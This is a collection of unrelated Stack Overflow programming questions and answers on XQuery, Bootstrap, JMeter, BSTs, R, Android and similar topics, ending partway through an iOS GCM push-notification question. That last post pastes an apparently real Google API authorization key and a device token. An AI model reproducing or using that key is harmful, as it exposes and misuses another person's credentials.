20738015	0	 <p>3 XQuery functions, <code>substring-before</code>, <code>substring-after</code> and <code>tokenize</code> are used to get the required output. </p> <p><code>substring-before</code> is used to get the Name. </p> <p>Similarly, the <code>substring-after</code> is used to get the Job portion. </p> <p>Then the <code>tokenize</code> function, is used to split the Jobs.</p> <pre><code>let $data := &lt;E&gt; &lt;Employee&gt;AAA@A#B#C#D&lt;/Employee&gt; &lt;Employee&gt;BBB@A#B#C#D&lt;/Employee&gt; &lt;Employee&gt;CCC@A#B#C#D&lt;/Employee&gt; &lt;Employee&gt;DDD@A#B#C#D&lt;/Employee&gt; &lt;/E&gt; for $x in $data/Employee return &lt;Employee&gt; {&lt;Name&gt;{substring-before($x,"@")}&lt;/Name&gt;} {&lt;Jobs&gt;{ for $tag in tokenize(substring-after($x,"@"),'#') return &lt;Job&gt;{$tag}&lt;/Job&gt; }&lt;/Jobs&gt; }&lt;/Employee&gt; </code></pre> <p>HTH...</p>
24337127	0	 <p>You can try moving <code>&lt;a class="navbar-brand" href="#"&gt;Brand&lt;/a&gt;</code> from after the <code>&lt;/button&gt;</code> tag to the line after <code>&lt;ul class="nav navbar-nav" id="navbar-media-query" style="float: none; display: inline-block;"&gt;</code>.</p> <pre><code>&lt;ul class="nav navbar-nav" id="navbar-media-query" style="float: none; display: inline-block;"&gt; &lt;a class="navbar-brand" href="#"&gt;Brand&lt;/a&gt; &lt;li class="active"&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; </code></pre> <p>It worked for me.</p> <p>However, note that this change will prevent the text 'Brand' from displaying in small screens by default, as it is now outside the <code>&lt;navbar-header&gt;</code> class. It is part of the <code>collapse</code> group now.</p> <p>Additionally, if you wondered about this solution appearing strange... well. I find using an <code>a</code> tag under a <code>ul</code> weird too.</p> <p>EDIT: <code>&lt;li class="navbar-brand"&gt;&lt;a href="#"&gt;Brand&lt;/a&gt;&lt;/li&gt;</code> works too.</p>
2122987	0	 <p>Yes, the Exec function seems to be broken when it comes to terminal output.</p> <p>I have been using a similar function <code>function ConsumeStd(e) {WScript.StdOut.Write(e.StdOut.ReadAll());WScript.StdErr.Write(e.StdErr.ReadAll());}</code> that I call in a loop similar to yours. Not sure if checking for EOF and reading line by line is better or worse.</p>
38014287	0	Java send some parameter to chrome extension plugin and call run this plugin <p>I have one plugin on my Chrome Browser Extension and i want to send some parameter to this and run this plugin. So is that possible?</p> <p>If yes so please guide me for the same.</p> <p>I am using JAVA.</p>
12948314	0	 <p>I didn't get you?? Y u need to implement <strong>threads</strong> in <strong>jsp</strong>..What you exactly want to do..Because the tomcat container itself maintains the threads for your concern jsp.. What u want is may be about the <strong>session tracking</strong> i guess..Sorry but didn,t get your question properly...???</p>
9204080	0	 <p><strong>UPDATE</strong></p> <p>I did a bit more investigation of the problem and you can find more detailed <a href="http://podlipensky.com/2012/02/how-to-check-if-browser-caching-disabled/" rel="nofollow">answer in my recent post</a> Note, the solution described below (initially) is not cross browser solution.</p> <p>Not sure if it helps, but you can try the following trick: 1. Add some resource to you page, let's say it will be javascript file <code>cachedetect.js</code>. 2. The server should generate <code>cachedetect.js</code> each time someone request it. And it should contain cache-related headers in response, i.e. if browser's cache is enabled the resource should be cached for long time. Each <code>cachedetect.js</code> should look like this:</p> <pre><code>var version = [incrementally generated number here]; var cacheEnabled; //will contain the result of our check var cloneCallback;//function which will compare versions from two javascript files function isCacheEnabled(){ if(!window.cloneCallback){ var currentVersion = version;//cache current version of the file // request the same cachedetect.js by adding &lt;script&gt; tag dynamically to &lt;header&gt; var head = document.getElementsByTagName("head")[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = "cachedetect.js"; // newly loaded cachedetect.js will execute the same function isCacheEnabled, so we need to prevent it from loading the script for third time by checking for cloneCallback existence cloneCallback = function(){ // once file will be loaded, version variable will contain different from currentVersion value in case when cache is disabled window.cacheEnabled = currentVersion == window.version; }; head.appendChild(script); } else { window.cloneCallback(); } } isCacheEnabled(); </code></pre> <p>After that you can simply check for <code>cacheEnabled === true</code> or <code>cacheEnabled === false</code> after some period of time.</p>
8847988	0	 <p>I think you should use:</p> <p><strong>Expandable ListView adapter</strong></p> <p><a href="http://developer.android.com/reference/android/widget/ExpandableListAdapter.html" rel="nofollow">http://developer.android.com/reference/android/widget/ExpandableListAdapter.html</a></p> <p><a href="http://techdroid.kbeanie.com/2010/09/expandablelistview-on-android.html" rel="nofollow">http://techdroid.kbeanie.com/2010/09/expandablelistview-on-android.html</a></p> <p><a href="http://stackoverflow.com/questions/4992797/problem-with-expandable-list-adapter">Problem with expandable list adapter</a></p>
17809517	0	PHP Codeigniter - parent::__construct <p>When getting inherited from a parent class in PHP, especially in Codeigniter what does <code>parent::__construct or parent::model()</code> do?</p> <p>How would it make difference if I don't <code>__construct</code> parent class? And, which way is suggested?</p> <p><strong>-Added-</strong></p> <p>The focus is more on Codeigniter specific regarding a call to <code>parent::__construct</code> in different ways depending on versions and also if this could be omitted in case Codeigniter would do this automatically. </p>
37380186	0	 <p>There are a <em>ton</em> of different use cases for balanced BSTs and I can't possibly list all of them here, but here are a few good use cases:</p> <ol> <li><p>BSTs support <em>range queries</em>, where you can ask for all entries between two values, efficiently. Specifically, in a BST with n entries, if you perform a range query where k elements will be returned, the runtime is O(log n + k). Compare that to, say, using a hash table, where the runtime would be O(n). This can be used if you're interested in doing time series analysis of a set of data and want to explore data in certain ranges.</p></li> <li><p>BSTs support <em>successor and precedecessor</em> queries. Given a BST, you can ask for the smallest element greater than some value or for the largest element less than some value in time O(log n). Collectively, this lets you find the element in a BST that's closest to some target value in time O(log n), which can be useful if you're getting noisy data and want to map it to the closest entry in your data set. Compare this with hash tables, where this would take time O(n).</p></li> <li><p>BSTs are <em>worst-case efficient</em>. Many common types of binary search trees, like red/black trees and AVL trees, give worst-case guarantees on the costs of their operations. Contrast this with a hash table, where queries are <em>expected</em> to take constant time, but can degrade with a bad hash function or just due to bad luck. Additionally, every now and then a hash table has to rehash, which can take a while, but red/black trees and AVL trees don't have cases like these. (There are some types of balanced BSTs like splay trees and scapegoat trees that aren't worst-case efficient, but that's a different story.)</p></li> <li><p>BSTs give easy access to the <em>minimum and maximum values</em> in time O(log n), even if insertions and deletions are intermixed. Hash tables can't support these operations.</p></li> <li><p>BSTs support <em>ordered iteration</em>, so if you have an application where you want to view the data in sorted order, you get it "for free" with BSTs. One example of this would if, for example, you were loading student data and wanted to see the scores in sorted order. Hash tables don't support this - you'll have to pull out the data and sort it to get it back in sorted order.</p></li> <li><p>BSTs can be <em>augmented</em>. If you take an algorithms course, you'll probably learn about a technique called tree augmentation in which you can add extra information in each node of the BST to solve a ton of problems much faster than it would initially appear possible to do. For example, you can augment BSTs to instantly be able to read off the median element, or the closest pair of points, or to solve many algorithmic problems efficiently when the underlying data is changed. Hash tables don't support these operations.</p></li> <li><p>BSTs support <em>efficient split and join</em>. Red/black trees and splay trees have the interesting property that, given two trees where all the keys in one are less than the keys in the other, the trees can be combined together into a single tree in time O(log n) - much faster than visiting all elements of the tree! You can also split any red/black tree or splay tree into two smaller trees by partitioning the tree into "elements less than some value" or "elements more than some value" in time O(log n). It's not trivial to do it, but it's possible. The time bounds on the corresponding operations on a hash table are O(n).</p></li> </ol> <p>If I think of anything else, I'll update this list. Hope this helps!</p>
15428108	0	 <p>I would do this using <code>ddply</code> from <code>plyr</code> package. For example:</p> <pre><code>require(plyr) res &lt;- lapply(list.files(pattern='^[1-2].txt'),function(ff){ ## you read the file data &lt;- read.table(ff, header=T, quote="\"") ## remove the outlier data &lt;- data[data$RT&gt;200,] data &lt;- ddply(data,.(Condition),function(x) x[!abs(scale(x$RT)) &gt; 3,]) ## compute the mean ddply(data,.(Condition,Reqresponse,Score),summarise,RT=mean(RT)) }) [[1]] Condition Reqresponse Score RT 1 X a 0 500 2 X a 1 750 3 X b 0 500 4 X b 1 500 5 Y a 0 400 6 Y a 1 640 7 Y b 1 1000 8 Z a 0 1000 9 Z a 1 1675 10 Z b 0 400 [[2]] Condition Reqresponse Score RT 1 X a 0 500 2 X a 1 750 3 X b 0 500 4 X b 1 500 5 Y a 0 400 6 Y a 1 640 7 Y b 1 1000 8 Z a 0 1000 9 Z a 1 1675 10 Z b 0 400 </code></pre>
34623762	0	 <pre><code>IntStream.range(0, nodeNum) .mapToObj(ind -&gt; Stream.concat( getNeighbors(ind).stream(), getInNeighbors(ind).stream()) .collect(summingInt(Integer::intValue))) .collect(toList()); </code></pre>
17846713	0	 <p>I have been a devoted user of <a href="http://jmeter.apache.org/" rel="nofollow">Apache JMeter</a> for the past decade and it does offer helpful web load testing functionality for free. Here are some pointers that may help determine if JMeter is right for you:</p> <ol> <li>Apache JMeter is a Java application, so it does have upper limits on resources (memory, sockets, threads). These resources can often be increased or consumption optimized (standard JVM args or jmeter.properties file) for better performance under heavy load testing.</li> <li>When capturing scripts using the "HTTP Proxy Server" node, make sure that you have a "User Defined Variables" node created and populated with your name/value pairs for the test. This will trigger a variable substitution in the proxy server. This is invaluable when you want to parameterize the script.</li> <li>As with tree based structures, position determines scope. Make sure that you isolate actions under the proper node or else they will execute for everything at the same scope. </li> <li>For simulated delays, I have had a good run with the "Uniform Random Timer" where you can specify a lower and upper limit.</li> <li>For validation, the "Response Assertion" is helpful for raw strings and regular expressions.</li> <li>For variable extraction, the "Regular Expression Extractor" allows you to extract a value from a page and reference it in a variable for the rest of the test. Node scope appears to be treated as global for these extractors.</li> <li>When watching the test, "Aggregate Graph" is helpful. "View Results Tree" is useful when troubleshooting, but adds extra memory usage to tests and can cause heavy tests to fail. Note that if you save the results on a listener node, you can reload those results in the control at a later time. Also, if you highlight the table in "Aggregate Graph" or "Aggregate Report", you can paste the results into Excel directly. Very helpful for reporting. </li> </ol> <p>Hopefully this gives you an idea of some of the value and gotchas with Apache JMeter. </p>
9282619	0	 <p>In your Form, you can override the doSave() method to do any manual interventions that you need to do that aren't completed by the form validation methods.</p> <p>For example: </p> <pre><code>public function doSave($con = null) { $employee = $this-&gt;getObject(); $values = $this-&gt;getValues(); // do your filter $this-&gt;values['name'] = strtolower($values['name']); parent::doSave($con); } </code></pre>
31561503	0	OneDrive Saver Api (Multiple Files Upload) <pre><code> var MyFiles = []; if (val == "Address") { MyFiles.push({ 'file': 'http://----/Content/File/Addresses.xlsx', 'fileName': 'Addresses.xlsx' }); } if (val == "DebitDetail") { MyFiles.push({ 'file': 'http://----/Content/File/DebitDetails.xlsx', 'fileName': 'DebitDetails.xlsx' }); } if (val == "AddressAssociated") { MyFiles.push({ 'file': 'http://----/Content/File/AddressAssociatedCompanies.xlsx', 'fileName': 'AddressAssociatedCompanies.xlsx' }); } if (val == "DebitDetailAssociated") { MyFiles.push({ 'file': 'http://----/Content/File/DebitDetailsAssociatedCompanies.xlsx', 'fileName': 'DebitDetailsAssociatedCompanies.xlsx' }); } var saverOptions = { file: myFiles, success: function () { // upload is complete }, progress: function (p) { // upload is progressing }, cancel: function () { // upload was cancelled }, error: function (e) { // an error occured } }; OneDrive.save(saverOptions); </code></pre> <p>I have used the above code for DropBox and it works well because it takes an array of objects but i cant find solution for OneDrive.com! Below documentation only shows how to upload a single file using URL. but i want to upload multiple files.</p> <p>The Format From The OneDrive Site</p> <pre><code>var saverOptions = { file: "inputFile", fileName: 'file.txt', success: function(){ // upload is complete }, progress: function(p) { // upload is progressing }, cancel: function(){ // upload was cancelled }, error: function(e) { // an error occured } } </code></pre> <p><a href="https://dev.onedrive.com/sdk/javascript-picker-saver.htm" rel="nofollow">https://dev.onedrive.com/sdk/javascript-picker-saver.htm</a></p>
26991563	0	 <pre><code>Write getting success code on postExecute(), i.e. class CreateUser extends AsyncTask&lt;String, String, String&gt; { /** * Before starting background thread Show Progress Dialog * */ boolean failure = false; @Override protected void onPreExecute() { super.onPreExecute(); pDialog = new ProgressDialog(Register.this); pDialog.setMessage("Creating User..."); pDialog.setIndeterminate(false); pDialog.setCancelable(true); pDialog.show(); } @Override protected String doInBackground(String... args) { // TODO Auto-generated method stub // Check for success tag int success; String username = user.getText().toString(); String password = pass.getText().toString(); try { // Building Parameters List&lt;NameValuePair&gt; params = new ArrayList&lt;NameValuePair&gt;(); params.add(new BasicNameValuePair("username", username)); params.add(new BasicNameValuePair("password", password)); Log.d("request!", "starting"); //Posting user data to script JSONObject json = jsonParser.makeHttpRequest( LOGIN_URL, "POST", params); } catch (JSONException e) { e.printStackTrace(); } return null; } /** * After completing background task Dismiss the progress dialog * **/ protected void onPostExecute(String file_url) { // dismiss the dialog once product deleted pDialog.dismiss(); // full json response Log.d("Login attempt", json.toString()); // json success element success = json.getInt(TAG_SUCCESS); if (success == 1) { Log.d("User Created!", json.toString()); finish(); return json.getString(TAG_MESSAGE); }else{ Log.d("Login Failure!", json.getString(TAG_MESSAGE)); return json.getString(TAG_MESSAGE); } if (file_url != null){ Toast.makeText(Register.this, file_url, Toast.LENGTH_LONG).show(); } } </code></pre>
12516152	0	 <p>You can get both like this:</p> <pre><code>RewriteRule ^([A-Za-z-0-9-]+)/([A-Za-z0-9-]+)/?$ $1/$2?param1=$2 RewriteRule ^([A-Za-z-0-9-]+)/([A-Za-z0-9-/]+)/?$ $1.php?param=$2 [L,QSA] </code></pre> <p>The other thing is your second grouping in your second rule won't match a trailing slash because <code>([A-Za-z0-9-/]+)</code> is greedy and will gobble up a trailing slash. You can make it ungreedy by adding a <code>?</code>: <code>([A-Za-z0-9-/]+?)</code></p>
34325472	0	Angular define input of float value <p>How would i define my input to be persistently be a float value and accept float values only ? below is my code but does not work as intended ?</p> <pre><code> &lt;input type="number" step="0.01" placeholder="Amount" class="form-control" ng-model="choice.amount"/&gt; </code></pre>
32697700	0	 <p>This query would work</p> <pre><code>select t1.*,t2.pos from Table1 t1 left outer join Table2 t2 on t1.Date=t2.Date and t1.UserID=t2.UserID </code></pre>
15809571	0	Trigger JavaScript event that fires after client side control is rendered <p>Good day,</p> <p>I have a web page where the user makes a selection in a dropdown.</p> <p>As soon as the item in the dropdown is selected, a Kendo grid appears and displays a list of records retrieved via an API call that returns JSON.</p> <p>I have written code that does certain modifications to the html table that is generated when the grid displays, but this code is triggered by a button at the moment. This is not the behavior I want.</p> <p>I need to somehow fire an event after the grid renders so that the code is executed automatically and not triggered by a button.</p> <p>Is there a possibility that via JQuery I could somehow bind an event to fire after the grid control has finished rendering?</p> <p>P.S. None of the existing Kendo grid events in the documentation work for what I need, not even the datasource "requestEnd", because at that moment in time, the HTML for the grid has not been generated in the page. An event like "postRender" or something like that would be ideal if it existed.</p>
22406605	0	 <p>The difference is in what default encoding is used. From <a href="http://technet.microsoft.com/en-us/library/hh847827.aspx">MSDN</a>, we can see that <code>Set-Content</code> defaults to ASCII encoding, which is readable by most programs (but may not work if you're not writing english). The <code>&gt;</code> output redirection operator on the other hand works with Powershell's internal string representation, which is .Net <code>System.String</code>, which is UTF-16 (<a href="http://www.johndcook.com/blog/2008/08/25/powershell-output-redirection-unicode-or-ascii/">reference</a>)</p> <p>As a side-note, you can also use <code>Out-File</code>, which uses unicode encoding.</p>
35946714	0	 <pre><code>PriorityQueue&lt;integer&gt; pq = new PriorityQueue&lt;integer&gt; ( new Comparator&lt;integer&gt; () { public int compare(Integer a, Integer b) { return b - a; } } ); </code></pre>
30177082	0	 <p>I have solved it by installing curl ssl</p> <pre><code>/scripts/easyapache option 7 on the menu select PHP scroll down and select CURL with SSL exit save </code></pre> <p>Everything is working now</p>
3305976	0	 <p>The short answer is no, not at this time. The iPhone/iPad/iPod Touch work nativly with the Apple HTTP Adaptive segmented streaming protocols. MMS (Windows Media) streams are not compatible with "i" devices and will not play. You will need to look into encoding your video with this other format. <a href="http://developer.apple.com/iphone/library/documentation/networkinginternet/conceptual/streamingmediaguide/introduction/introduction.html" rel="nofollow noreferrer">Check out the Apple specs</a> for a full description of the protocol. Future versions of Windows Media Services (4.0) are claiming that they will support the Apple protocols but this is only a preview/beta at this time and may not truly support the Apple specs.</p> <p>If your trying to do ondemand iPhone video, you can utilize a service such as Encoding.com to pre encode your files in the adaptive segmented format for your users to view. For live encoding, Telestream has a product called Wirecast which can encode in a h.264 Apple approved baseline format which can be sent to a service such as Akamai, Multicast Media, or Wowza Server for distribution to your clients. Hope this helps!</p>
10103395	0	 <p>Assuming the deprecated library works as it always has, as it should, this is the procedure I have used to colour my tabs. I just set the background in code as follows, as it wasn't direcly accessible in xml:</p> <pre><code> TabWidget tabs = (TabWidget)getTabWidget(); for (int i = 0; i&lt;tabs.getChildCount(); i++) { RelativeLayout tab = (RelativeLayout) tabs.getChildAt(i); tab.setBackgroundDrawable(this.getResources().getDrawable(R.drawable.tabindicator)); </code></pre> <p>The tabindicator drawable is as follows:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;selector xmlns:android="http://schemas.android.com/apk/res/android"&gt; &lt;!-- Non focused states --&gt; &lt;item android:state_focused="false" android:state_selected="false" android:state_pressed="false" android:drawable="@drawable/tab_unselected" /&gt; &lt;item android:state_focused="false" android:state_selected="true" android:state_pressed="false" android:drawable="@drawable/tab_selected" /&gt; &lt;!-- Focused states --&gt; &lt;item android:state_focused="true" android:state_selected="false" android:state_pressed="false" android:drawable="@drawable/tab_focus" /&gt; &lt;item android:state_focused="true" android:state_selected="true" android:state_pressed="false" android:drawable="@drawable/tab_focus" /&gt; &lt;!-- Pressed --&gt; &lt;item android:state_selected="true" android:state_pressed="true" android:drawable="@drawable/tab_press" /&gt; &lt;item android:state_pressed="true" android:drawable="@drawable/tab_press" /&gt; &lt;/selector&gt; </code></pre> <p>The drawables were just 9-patch images with the colour, although you may be able to get a similar effect using a standard colour.</p>
9082640	0	 <p>From my experimenting, I've found that Safari 5 (for desktop and iOS) will most certainly render your page in the way you intend using either one of your solutions. Firefox 9, on the other hand, does not appear to respect @-moz-keyframe or -moz-animation rules if they are placed in @media blocks (and both ignore the W3C @keyframe and non-vendor specific animation properties)</p>
22710384	0	Make {{!LOOP}} increase by 10 in iMacros <p>I have problems with making !LOOP jump +10 each time instead of +1.</p> <p>Here is my code:</p> <pre><code>VERSION BUILD=8810214 RECORDER=FX TAB T=1 SET !ERRORIGNORE YES SET !VAR1 100 SET !LOOP {{!VAR1}} URL GOTO=http://www.example.com/lui/?page={{!LOOP}} WAIT SECONDS=1 ADD !VAR1 10 </code></pre> <p>Running this still makes iMacros jump +1 each loop. </p> <p>Above sample goes to page=100,page=101,page=102,page=103 <strong>instead of</strong> page=100,page=110,page=120</p> <p>Best regards,</p> <p>Lui Kang</p>
12609112	0	 <p>Try something like this in your <code>wwwpublic</code> directory, preferably before any routing rules you may have:</p> <pre><code>RewriteEngine On # conditions to check that current request doesn't point to a valid resource RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d # condition to check that request is for the /spanish/ directory RewriteCond %{REQUEST_URI} ^/spanish/(.+)$ # conditions to check if the /spanish/ is removed whether it would point to a valid resource RewriteCond %{DOCUMENT_ROOT}/%1 -f [OR] RewriteCond %{DOCUMENT_ROOT}/%1 -d # all conditions match, rewrite RewriteRule ^/?spanish/(.+)$ /$1 [L] </code></pre>
37385987	0	GCM and swift can register and receive a success notification but no other push noteificiatons <p>Update: Ok so I redid all my certs and now I am getting this by testing the GCM at this site <a href="http://techzog.com/development/gcm-notification-test-tool-android/" rel="nofollow">http://techzog.com/development/gcm-notification-test-tool-android/</a></p> <pre><code> URL: http://android.googleapis.com/gcm/send Headers: Array ( [0] =&gt; Authorization: key=AIzaSyBPTQGXlyImFWPda1s2LVUKIN98uMS0Bac [1] =&gt; Content-Type: application/json ) 1 Fields: Array ( [registration_ids] =&gt; Array ( [0] =&gt; fBspb1tyYDg:APA91bE0-pzjJrJodW2JuNvnEZSkUaw0rBjf0gkwu2Yi9GaS8WcrhZII2LnDcclwd4K5W51osjxfBCM7E76Ck7EDG4YHEESAesXZBgrSrHDQNAjGPv1VgOi-zkFi1biZSQzeaEbS3xch ) [data] =&gt; Array ( [message] =&gt; Koimute [] =&gt; ) ) 1 Result: Unauthorized Error 401 </code></pre> <p>So this means that it is being basically stopped from getting to the phone I think.</p> <p>UPDATE: Ok so I have been working at it and have tried to change the cert around and fool with the settings. now my console is printing out that I am connected to the GCM. But, still I do not receive any notification from the server at all. Here is what my console is printing</p> <pre><code>0028-05-24 12:21:32.829: GCM | GCM library version 1.1.4 0028-05-24 12:21:32.841: GCM | Invalid key in checkin plist: GMSInstanceIDDeviceDataVersion 2016-05-24 12:21:32.856 MyApp[560:] &lt;GMR/INFO&gt; App measurement v.2003000 started 2016-05-24 12:21:32.857 MuApp[560:] &lt;GMR/INFO&gt; To enable debug logging set the following application argument: -GMRDebugEnabled 0028-05-24 12:21:32.920: GCM | Invalid key in checkin plist: GMSInstanceIDDeviceDataVersion 2016-05-24 12:21:33.053 MyApp[560:106171] INFO: GoogleAnalytics 3.14 -[GAIReachabilityChecker reachabilityFlagsChanged:] (GAIReachabilityChecker.m:159): Reachability flags update: 0X000002 Registration Token: My token i get from GCM 2016-05-24 12:21:33.067 MyApp[560:] &lt;GMR/INFO&gt; App measurement enabled Connected to GCM 2016-05-24 12:21:33.937 MyApp[560:106213] INFO: GoogleAnalytics 3.14 -[GAIBatchingDispatcher hitsForDispatch] (GAIBatchingDispatcher.m:368): No pending hits. </code></pre> <p>The GCM | Invalid key in checkin plist: GMSInstanceIDDeviceDataVersion error from what I gathered means that it is working and is fine. They said that they will fix this in a later release</p> <p>OLD: So I have set up the GCM as well as a Google Analytics in my iOS project. The Analytics works perfect and all. Thats why I don't think its my Google service json that is the problem. I can successfully register to receive a token from the GCM server. But when I try to send a push notification nothing happens. I do receive a notification when it registers successfully so I think that my notification centre is working too. I follows the steps for creating the certificates as well. So I do not know where the problem is.: I am also using a third party APNs tester to rule out my server being the issues. I am using APN Tester. The APN tester returns this from doing a push notification:</p> <pre><code>gateway.sandbox.push.apple.com:2195 2016-05-23 07:56:02 +0000: Connected to server gateway.sandbox.push.apple.com 2016-05-23 07:56:02 +0000: Set SSL connection 2016-05-23 07:56:02 +0000: Set peer domain name gateway.sandbox.push.apple.com 2016-05-23 07:56:02 +0000: Keychain Opened 2016-05-23 07:56:02 +0000: Certificate data for Apple Development IOS Push Services: com.mywebpage.jp.MyClient initialized successfully 2016-05-23 07:56:02 +0000: Sec Identity created 2016-05-23 07:56:02 +0000: Client certificate created 2016-05-23 07:56:03 +0000: Connected 2016-05-23 07:56:03 +0000: Token: &lt;0000000c 00000003 00001bff ff1b0000 00001bff ff1b0000 00001bff ff1b0000 00001bff ff1b0000 00001bff 00000e82 000000ef 0000003a 3a000000 0000003a 3a000000 0000003a 3a000000&gt; 2016-05-23 07:56:03 +0000: Written 92 bytes sending data to gateway.sandbox.push.apple.com:2195 2016-05-23 07:56:03 +0000: Disconnected from server gateway.sandbox.push.apple.com:2195 </code></pre> <p>This is my AppDeligate file</p> <pre><code>import UIKit import Foundation @UIApplicationMain //add this for GCM //, GGLInstanceIDDelegate, GCMReceiverDelegate class AppDelegate: UIResponder, UIApplicationDelegate, GGLInstanceIDDelegate, GCMReceiverDelegate{ let loginInformation = NSUserDefaults.standardUserDefaults() var window: UIWindow?; //MARK: Varaibles for GCM var connectedToGCM = false var subscribedToTopic = false var gcmSenderID: String? var registrationToken: String? var registrationOptions = [String: AnyObject]() let registrationKey = "onRegistrationCompleted" let messageKey = "onMessageReceived" let subscriptionTopic = "/topics/global" func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions: [NSObject: AnyObject]?) -&gt; Bool { // Override point for customization after application launch. APIManager.sharedInstance.setAuthorization(Config.API_USERNAME, password: Config.API_PASSWORD) // [START_EXCLUDE] // Configure the Google context: parses the GoogleService-Info.plist, and initializes // the services that have entries in the file var configureError:NSError? GGLContext.sharedInstance().configureWithError(&amp;configureError) assert(configureError == nil, "Error configuring Google services: \(configureError)") gcmSenderID = GGLContext.sharedInstance().configuration.gcmSenderID // [END_EXCLUDE] // Register for remote notifications let settings: UIUserNotificationSettings = UIUserNotificationSettings(forTypes: [.Alert, .Badge, .Sound], categories: nil) application.registerUserNotificationSettings(settings) application.registerForRemoteNotifications() // [END register_for_remote_notifications] // [START start_gcm_service] let gcmConfig = GCMConfig.defaultConfig() gcmConfig.receiverDelegate = self GCMService.sharedInstance().startWithConfig(gcmConfig) // [END start_gcm_service] //Google Analyitics functions // [START tracker_swift] // Configure tracker from GoogleService-Info.plist. //var configureGAError:NSError? GGLContext.sharedInstance().configureWithError(&amp;configureError) assert(configureError == nil, "Error configuring Google services: \(configureError)") // Optional: configure GAI options. let gai = GAI.sharedInstance() gai.trackUncaughtExceptions = true // report uncaught exceptions gai.logger.logLevel = GAILogLevel.Verbose // remove before app release // [END tracker_swift] return true } func applicationDidEnterBackground(application: UIApplication) { GCMService.sharedInstance().disconnect() // [START_EXCLUDE] self.connectedToGCM = false // [END_EXCLUDE] } func applicationDidBecomeActive(application: UIApplication) { // Connect to the GCM server to receive non-APNS notifications GCMService.sharedInstance().connectWithHandler({(error:NSError?) -&gt; Void in if let error = error { print("Could not connect to GCM: \(error.localizedDescription)") } else { self.connectedToGCM = true print("Connected to GCM") } }) } // [START receive_apns_token] func application( application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: NSData ) { // [END receive_apns_token] // [START get_gcm_reg_token] // Create a config and set a delegate that implements the GGLInstaceIDDelegate protocol. let instanceIDConfig = GGLInstanceIDConfig.defaultConfig() instanceIDConfig.delegate = self // Start the GGLInstanceID shared instance with that config and request a registration // token to enable reception of notifications GGLInstanceID.sharedInstance().startWithConfig(instanceIDConfig) registrationOptions = [kGGLInstanceIDRegisterAPNSOption:deviceToken, kGGLInstanceIDAPNSServerTypeSandboxOption:true] GGLInstanceID.sharedInstance().tokenWithAuthorizedEntity(gcmSenderID, scope: kGGLInstanceIDScopeGCM, options: registrationOptions, handler: registrationHandler) // [END get_gcm_reg_token] } // [START ack_message_reception] func application( application: UIApplication, didReceiveRemoteNotification userInfo: [NSObject : AnyObject]) { print("Notification received: \(userInfo)") // This works only if the app started the GCM service GCMService.sharedInstance().appDidReceiveMessage(userInfo); // Handle the received message // [START_EXCLUDE] NSNotificationCenter.defaultCenter().postNotificationName(messageKey, object: nil, userInfo: userInfo) // [END_EXCLUDE] } func application( application: UIApplication, didReceiveRemoteNotification userInfo: [NSObject : AnyObject], fetchCompletionHandler handler: (UIBackgroundFetchResult) -&gt; Void) { print("Notification received: \(userInfo)") // This works only if the app started the GCM service GCMService.sharedInstance().appDidReceiveMessage(userInfo); // Handle the received message // Invoke the completion handler passing the appropriate UIBackgroundFetchResult value // [START_EXCLUDE] NSNotificationCenter.defaultCenter().postNotificationName(messageKey, object: nil, userInfo: userInfo) handler(UIBackgroundFetchResult.NoData); // [END_EXCLUDE] } // [END ack_message_reception] func registrationHandler(registrationToken: String!, error: NSError!) { if (registrationToken != nil) { self.registrationToken = registrationToken print("Registration Token: \(registrationToken)") //store the registation token for use in the postData function in the login page self.loginInformation.setObject(self.registrationToken, forKey: "GCMToken") self.loginInformation.synchronize() let userInfo = ["registrationToken": registrationToken] NSNotificationCenter.defaultCenter().postNotificationName( self.registrationKey, object: nil, userInfo: userInfo) } else { print("Registration to GCM failed with error: \(error.localizedDescription)") let userInfo = ["error": error.localizedDescription] NSNotificationCenter.defaultCenter().postNotificationName( self.registrationKey, object: nil, userInfo: userInfo) } } // [START on_token_refresh] func onTokenRefresh() { // A rotation of the registration tokens is happening, so the app needs to request a new token. print("The GCM registration token needs to be changed.") GGLInstanceID.sharedInstance().tokenWithAuthorizedEntity(gcmSenderID, scope: kGGLInstanceIDScopeGCM, options: registrationOptions, handler: registrationHandler) } // [END on_token_refresh] // [START upstream_callbacks] func willSendDataMessageWithID(messageID: String!, error: NSError!) { if (error != nil) { // Failed to send the message. } else { // Will send message, you can save the messageID to track the message } } // [START receive_apns_token_error] func application( application: UIApplication, didFailToRegisterForRemoteNotificationsWithError error: NSError ) { print("Registration for remote notification failed with error: \(error.localizedDescription)") // [END receive_apns_token_error] let userInfo = ["error": error.localizedDescription] NSNotificationCenter.defaultCenter().postNotificationName( registrationKey, object: nil, userInfo: userInfo) } func didSendDataMessageWithID(messageID: String!) { // Did successfully send message identified by messageID } // [END upstream_callbacks] func didDeleteMessagesOnServer() { // Some messages sent to this device were deleted on the GCM server before reception, likely // because the TTL expired. The client should notify the app server of this, so that the app // server can resend those messages. } //MRAK: End of GCM Function func applicationWillTerminate(application: UIApplication) { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } func applicationWillEnterForeground(application: UIApplication) { // Called as part of the transition from the background to the inactive state; here you can undo many of the changes made on entering the background. } func applicationWillResignActive(application: UIApplication) { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game. } } </code></pre> <p>And this is my testing page where it receives the notification of a successful registration:</p> <pre><code>class PlayGroundController: UIViewController{ @IBOutlet weak var registeringLabel: UILabel! @IBOutlet weak var registrationProgressing: UIActivityIndicatorView! override func viewDidLoad() { super.viewDidLoad() let appDelegate = UIApplication.sharedApplication().delegate as! AppDelegate NSNotificationCenter.defaultCenter().addObserver(self, selector: #selector(PlayGroundController.updateRegistrationStatus(_:)), name: appDelegate.registrationKey, object: nil) NSNotificationCenter.defaultCenter().addObserver(self, selector: #selector(PlayGroundController.showReceivedMessage(_:)), name: appDelegate.messageKey, object: nil) registrationProgressing.hidesWhenStopped = true registrationProgressing.startAnimating() } func updateRegistrationStatus(notification: NSNotification) { registrationProgressing.stopAnimating() if let info = notification.userInfo as? 